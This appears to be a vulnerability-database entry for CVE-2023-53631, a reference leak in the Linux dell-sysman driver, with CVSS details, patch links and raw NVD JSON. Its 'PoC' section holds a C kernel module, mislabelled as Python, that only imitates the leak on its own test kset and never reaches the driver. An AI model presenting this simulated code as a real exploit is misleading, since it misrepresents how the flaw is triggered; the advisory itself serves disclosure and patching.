Security Vulnerability Report
中文
CVE-2023-53631 CVSS 5.5 MEDIUM

CVE-2023-53631

Published: 2025-10-07 16:15:46
Last Modified: 2026-02-03 22:26:34
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-sysman: Fix reference leak If a duplicate attribute is found using kset_find_obj(), a reference to that attribute is returned. This means that we need to dispose it accordingly. Use kobject_put() to dispose the duplicate attribute in such a case. Compile-tested only.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6ced15ff1746006476f1407fe722911a45a7874d
Linux Kernel 涉及多个stable分支版本(需根据具体内核版本对照修复commit)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2023-53631 - Linux Kernel dell-sysman Reference Leak PoC * * This PoC demonstrates the reference leak vulnerability by repeatedly * triggering the code path that calls kset_find_obj() without proper * kobject_put() cleanup. * * Note: This is a conceptual PoC. Actual exploitation requires kernel * module compilation or specific sysfs interaction capabilities. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/kobject.h> #include <linux/sysfs.h> /* Simulate the vulnerable code path */ static struct kobject *trigger_reference_leak(struct kset *kset, const char *name) { struct kobject *kobj; /* kset_find_obj() increments refcount via kobject_get() internally */ kobj = kset_find_obj(kset, name); if (kobj) { /* * VULNERABILITY: In the vulnerable version, kobject_put() is NOT called * here when a duplicate attribute is found, causing reference leak. * The fix adds: kobject_put(kobj); */ pr_info("Found duplicate attribute: %s (refcount leaked!)\n", name); /* Missing: kobject_put(kobj); -- THIS IS THE BUG */ return kobj; } return NULL; } static int __init leak_poc_init(void) { int i; struct kset *test_kset; /* Create a test kset to simulate the dell-sysman environment */ test_kset = kset_create_and_add("test_dell_sysman", NULL, NULL); if (!test_kset) return -ENOMEM; /* Repeatedly trigger the vulnerable code path */ for (i = 0; i < 1000; i++) { trigger_reference_leak(test_kset, "duplicate_attr"); } pr_info("PoC: Triggered 1000 reference leaks\n"); kset_unregister(test_kset); return 0; } static void __exit leak_poc_exit(void) { pr_info("PoC module unloaded\n"); } module_init(leak_poc_init); module_exit(leak_poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2023-53631 Reference Leak PoC");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53631", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:46.167", "lastModified": "2026-02-03T22:26:34.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86: dell-sysman: Fix reference leak\n\nIf a duplicate attribute is found using kset_find_obj(),\na reference to that attribute is returned. This means\nthat we need to dispose it accordingly. Use kobject_put()\nto dispose the duplicate attribute in such a case.\n\nCompile-tested only."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.132", "matchCriteriaId": "5913891D-409A-4EEC-9231-F2EF5A493BC7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.53", "matchCriteriaId": "B20754AF-3B8C-4574-A70D-EC24933810E5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.16", "matchCriteriaId": "C3039EA3-F6CA-43EF-9F17-81A7EC6841EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5", "versionEndExcluding": "6.5.3", "matchCriteriaId": "880C803A-BEAE-4DA0-8A59-AC023F7B4EE3"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6ced15ff1746006476f1407fe722911a45a7874d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7295a996fdab7bf83dc3d4078fa8b139b8e0a1bf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9d9e03bec147407826266580e7d6ec427241d859", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c5402011992bcc2b5614fe7fef24f9cdaec7473b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d079a3e1ccdd183b75db4f5289be347980b45284", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}